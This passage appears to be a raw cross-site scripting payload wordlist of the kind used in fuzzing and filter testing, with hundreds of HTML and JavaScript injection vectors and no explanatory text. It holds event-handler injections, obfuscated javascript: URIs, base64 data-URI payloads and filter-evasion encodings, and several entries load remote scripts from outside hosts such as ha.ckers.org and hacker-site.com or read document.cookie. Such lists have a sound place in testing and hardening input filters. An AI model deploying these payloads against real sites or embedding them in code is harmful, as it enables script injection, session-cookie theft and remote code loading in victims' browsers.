SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=`javascript:alert("RSnake says### 'XSS'")`> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> <IMG SRC=`javascript:javascript:alert(1)`> <IMG SRC=jAVasCrIPt:alert(‘XSS’)> <IMG SRC=javascript:alert("XSS")> <IMG SRC=javascript:alert("XSS")> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(String.fromCharCode(88###83###83))> <IMG SRC=javascript:alert(‘XSS’)> <IMG SRC=javascript:javascript:alert(1)> <IMG SRC=javascrscriptipt:alert('XSS')> <IMG SRC= onmouseover="alert('xxs')"> <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=”jav ascript:alert(‘XSS’);”> <IMG SRC=”javascript:alert(‘XSS’);”> <IMG SRC=”jav ascript:alert(‘XSS’);”> <IMG SRC=”javascript:alert(‘XSS’)” <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> <IMG onmouseover="alert('xxs')"> <IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”> <INPUT TYPE="BUTTON" action="alert('XSS')"/> <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> <Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> <Input value = "XSS" type = text> <LAYER SRC="%(scriptlet)s"></LAYER> <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> <LAYER SRC="javascript:document.vulnerable=true;"></LAYER> <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet"> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> <META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet"> <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)"; <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT> <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html"> <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> <Q%^&*(£@!’” style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT># <SCRIPT/SRC="%(jscript)s"></SCRIPT> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <SCRIPT>alert('XSS')</SCRIPT> <SCRIPT> alert(“XSS”); </SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("XSS");</SCRIPT> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> <SCRIPT SRC="%(jpg)s"></SCRIPT> <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> <SCRIPT SRC=%(jscript)s?<B> <SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> <SCRİPT/SRC=data:,alert(1)> <SCRİPT>alert(1)</SCRİPT> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <STYLE>@import'%(css)s';</STYLE> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> <SVG ONLOAD=alert(1)> <SVg </onlOad ="1> (_=prompt,_(1)) ""> <ScRiPt>alert(1)</sCriPt> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <Script>alert(1)</Script> <Svg OnLoad=alert(1)> <TABLE><TD BACKGROUND="javascript:alert('XSS')"> <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> <TABLE BACKGROUND="javascript:alert('XSS')"> <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> <TABLE BACKGROUND="javascript:javascript:alert(1)"> <TD BACKGROUND="javascript:alert('XSS')"> <Video> <source onerror = "javascript: alert (XSS)"> <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span> <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <X OnXxx=1 <XSS STYLE="behavior: url(%(htc)s);"> <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> <XSS STYLE="behavior: url(xss.htc);"> <XSS STYLE="xss:expression(alert('XSS'))"> <XSS STYLE="xss:expression(document.vulnerable=true)"> <XSS STYLE="xss:expression(javascript:alert(1))"> <X onxxx=1 <Z oncut=alert()>x <a%20href="javascript:alert(1); <a href=[�]"� onmouseover=prompt(1)//">XYZ</a <a/href="javascript: javascript:prompt(1)"><input type="X"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <abbr draggable="true" ondrag="alert(1)">test</abbr> <abbr draggable="true" ondragend="alert(1)">test</abbr> <abbr draggable="true" ondragenter="alert(1)">test</abbr> <abbr draggable="true" ondragleave="alert(1)">test</abbr> <abbr draggable="true" ondragstart="alert(1)">test</abbr> <abbr id=x tabindex=1 onactivate=alert(1)></abbr> <abbr id=x tabindex=1 onbeforeactivate=alert(1)></abbr> <abbr id=x tabindex=1 onbeforedeactivate=alert(1)></abbr><input autofocus> <abbr id=x tabindex=1 ondeactivate=alert(1)></abbr><input id=y autofocus> <abbr id=x tabindex=1 onfocus=alert(1)></abbr> <abbr id=x tabindex=1 onfocusin=alert(1)></abbr> <abbr onbeforecopy="alert(1)" contenteditable>test</abbr> <abbr onbeforecut="alert(1)" contenteditable>test</abbr> <abbr onbeforepaste="alert(1)" contenteditable>test</abbr> <abbr onblur=alert(1) tabindex=1 id=x></abbr><input autofocus> <abbr onclick="alert(1)">test</abbr> <abbr oncontextmenu="alert(1)">test</abbr> <abbr oncopy="alert(1)" contenteditable>test</abbr> <abbr oncut="alert(1)" contenteditable>test</abbr> <abbr ondblclick="alert(1)">test</abbr> <abbr onfocusout=alert(1) tabindex=1 id=x></abbr><input autofocus> <abbr onkeydown="alert(1)" contenteditable>test</abbr> <abbr onkeypress="alert(1)" contenteditable>test</abbr> <abbr onkeyup="alert(1)" contenteditable>test</abbr> <abbr onmousedown="alert(1)">test</abbr> <abbr onmouseenter="alert(1)">test</abbr> <abbr onmouseleave="alert(1)">test</abbr> <abbr onmousemove="alert(1)">test</abbr> <abbr onmouseout="alert(1)">test</abbr> <abbr onmouseover="alert(1)">test</abbr> <abbr onmouseup="alert(1)">test</abbr> <abbr onpaste="alert(1)" contenteditable>test</abbr> <a class=bar href="http://www.example.org">www.example.org</a> <acronym draggable="true" ondrag="alert(1)">test</acronym> <acronym draggable="true" ondragend="alert(1)">test</acronym> <acronym draggable="true" ondragenter="alert(1)">test</acronym> <acronym draggable="true" ondragleave="alert(1)">test</acronym> <acronym draggable="true" ondragstart="alert(1)">test</acronym> <acronym id=x tabindex=1 onactivate=alert(1)></acronym> <acronym id=x tabindex=1 onbeforeactivate=alert(1)></acronym> <acronym id=x tabindex=1 onbeforedeactivate=alert(1)></acronym><input autofocus> <acronym id=x tabindex=1 ondeactivate=alert(1)></acronym><input id=y autofocus> <acronym id=x tabindex=1 onfocus=alert(1)></acronym> <acronym id=x tabindex=1 onfocusin=alert(1)></acronym> <acronym onbeforecopy="alert(1)" contenteditable>test</acronym> <acronym onbeforecut="alert(1)" contenteditable>test</acronym> <acronym onbeforepaste="alert(1)" contenteditable>test</acronym> <acronym onblur=alert(1) tabindex=1 id=x></acronym><input autofocus> <acronym onclick="alert(1)">test</acronym> <acronym oncontextmenu="alert(1)">test</acronym> <acronym oncopy="alert(1)" contenteditable>test</acronym> <acronym oncut="alert(1)" contenteditable>test</acronym> <acronym ondblclick="alert(1)">test</acronym> <acronym onfocusout=alert(1) tabindex=1 id=x></acronym><input autofocus> <acronym onkeydown="alert(1)" contenteditable>test</acronym> <acronym onkeypress="alert(1)" contenteditable>test</acronym> <acronym onkeyup="alert(1)" contenteditable>test</acronym> <acronym onmousedown="alert(1)">test</acronym> <acronym onmouseenter="alert(1)">test</acronym> <acronym onmouseleave="alert(1)">test</acronym> <acronym onmousemove="alert(1)">test</acronym> <acronym onmouseout="alert(1)">test</acronym> <acronym onmouseover="alert(1)">test</acronym> <acronym onmouseup="alert(1)">test</acronym> <acronym onpaste="alert(1)" contenteditable>test</acronym> <address draggable="true" ondrag="alert(1)">test</address> <address draggable="true" ondragend="alert(1)">test</address> <address draggable="true" ondragenter="alert(1)">test</address> <address draggable="true" ondragleave="alert(1)">test</address> <address draggable="true" ondragstart="alert(1)">test</address> <address id=x tabindex=1 onactivate=alert(1)></address> <address id=x tabindex=1 onbeforeactivate=alert(1)></address> <address id=x tabindex=1 onbeforedeactivate=alert(1)></address><input autofocus> <address id=x tabindex=1 ondeactivate=alert(1)></address><input id=y autofocus> <address id=x tabindex=1 onfocus=alert(1)></address> <address id=x tabindex=1 onfocusin=alert(1)></address> <address onbeforecopy="alert(1)" contenteditable>test</address> <address onbeforecut="alert(1)" contenteditable>test</address> <address onbeforepaste="alert(1)" contenteditable>test</address> <address onblur=alert(1) tabindex=1 id=x></address><input autofocus> <address onclick="alert(1)">test</address> <address oncontextmenu="alert(1)">test</address> <address oncopy="alert(1)" contenteditable>test</address> <address oncut="alert(1)" contenteditable>test</address> <address ondblclick="alert(1)">test</address> <address onfocusout=alert(1) tabindex=1 id=x></address><input autofocus> <address onkeydown="alert(1)" contenteditable>test</address> <address onkeypress="alert(1)" contenteditable>test</address> <address onkeyup="alert(1)" contenteditable>test</address> <address onmousedown="alert(1)">test</address> <address onmouseenter="alert(1)">test</address> <address onmouseleave="alert(1)">test</address> <address onmousemove="alert(1)">test</address> <address onmouseout="alert(1)">test</address> <address onmouseover="alert(1)">test</address> <address onmouseup="alert(1)">test</address> <address onpaste="alert(1)" contenteditable>test</address> <a draggable="true" ondrag="alert(1)">test</a> <a draggable="true" ondragend="alert(1)">test</a> <a draggable="true" ondragenter="alert(1)">test</a> <a draggable="true" ondragleave="alert(1)">test</a> <a draggable="true" ondragstart="alert(1)">test</a> <a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]</div> <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="about:<script>document.vulnerable=true;</script>"> <a href="data:application/x-x509-user-cert; base64 ,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >X</a <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a> <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> <a href="jAvAsCrIpT:alert(1)">X</a> <a href="javAascript:javascript:alert(1)">test1</a> <a href="javaascript:javascript:alert(1)">test1</a> <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript#document.vulnerable=true;"> <a href="javascript:\u0061le%72t(1)"><button> <a href = "javas cript :ale rt(1)">test <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> <a href="javascript:void(0)" onmouseover= javascript:alert(1) >X</a> <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a> <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> <a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>"> <a href=java script:javascript:alert(1)>XXX</a> <a href=javascript:alert(1)> <a href=javascript:alert(document.cookie)>Click Here</a> <a href=javascript:alert(1)>click <a id="x"><rect fill="white" width="1000" height="1000"/></a> <a id=x tabindex=1 onactivate=alert(1)></a> <a id=x tabindex=1 onbeforeactivate=alert(1)></a> <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus> <a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus> <a id=x tabindex=1 onfocus=alert(1)></a> <a id=x tabindex=1 onfocusin=alert(1)></a> <animate attributeName="onunload" to="alert(89)"/> <animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" /> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <animation xlink:href="javascript:alert(88)"/> <a onbeforecopy="alert(1)" contenteditable>test</a> <a onbeforecut="alert(1)" contenteditable>test</a> <a onbeforepaste="alert(1)" contenteditable>test</a> <a onblur=alert(1) tabindex=1 id=x></a><input autofocus> <a onclick="alert(1)">test</a> <a oncontextmenu="alert(1)">test</a> <a oncopy="alert(1)" contenteditable>test</a> <a oncut="alert(1)" contenteditable>test</a> <a ondblclick="alert(1)">test</a> <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus> <a onkeydown="alert(1)" contenteditable>test</a> <a onkeypress="alert(1)" contenteditable>test</a> <a onkeyup="alert(1)" contenteditable>test</a> <a onmousedown="alert(1)">test</a> <a onmouseenter="alert(1)">test</a> <a onmouseleave="alert(1)">test</a> <a onmousemove="alert(1)">test</a> <a onmouseout="alert(1)">test</a> <a onmouseover="alert(1)">test</a> <a onmouseover="alert(document.cookie)">xxs link</a> <a onmouseover=alert(document.cookie)>xxs link</a> <a onmouseup="alert(1)">test</a> <a onpaste="alert(1)" contenteditable>test</a> <applet code="javascript:confirm(document.cookie);"> <applet draggable="true" ondrag="alert(1)">test</applet> <applet draggable="true" ondragend="alert(1)">test</applet> <applet draggable="true" ondragenter="alert(1)">test</applet> <applet draggable="true" ondragleave="alert(1)">test</applet> <applet draggable="true" ondragstart="alert(1)">test</applet> <applet id=x tabindex=1 onactivate=alert(1)></applet> <applet id=x tabindex=1 onbeforeactivate=alert(1)></applet> <applet id=x tabindex=1 onbeforedeactivate=alert(1)></applet><input autofocus> <applet id=x tabindex=1 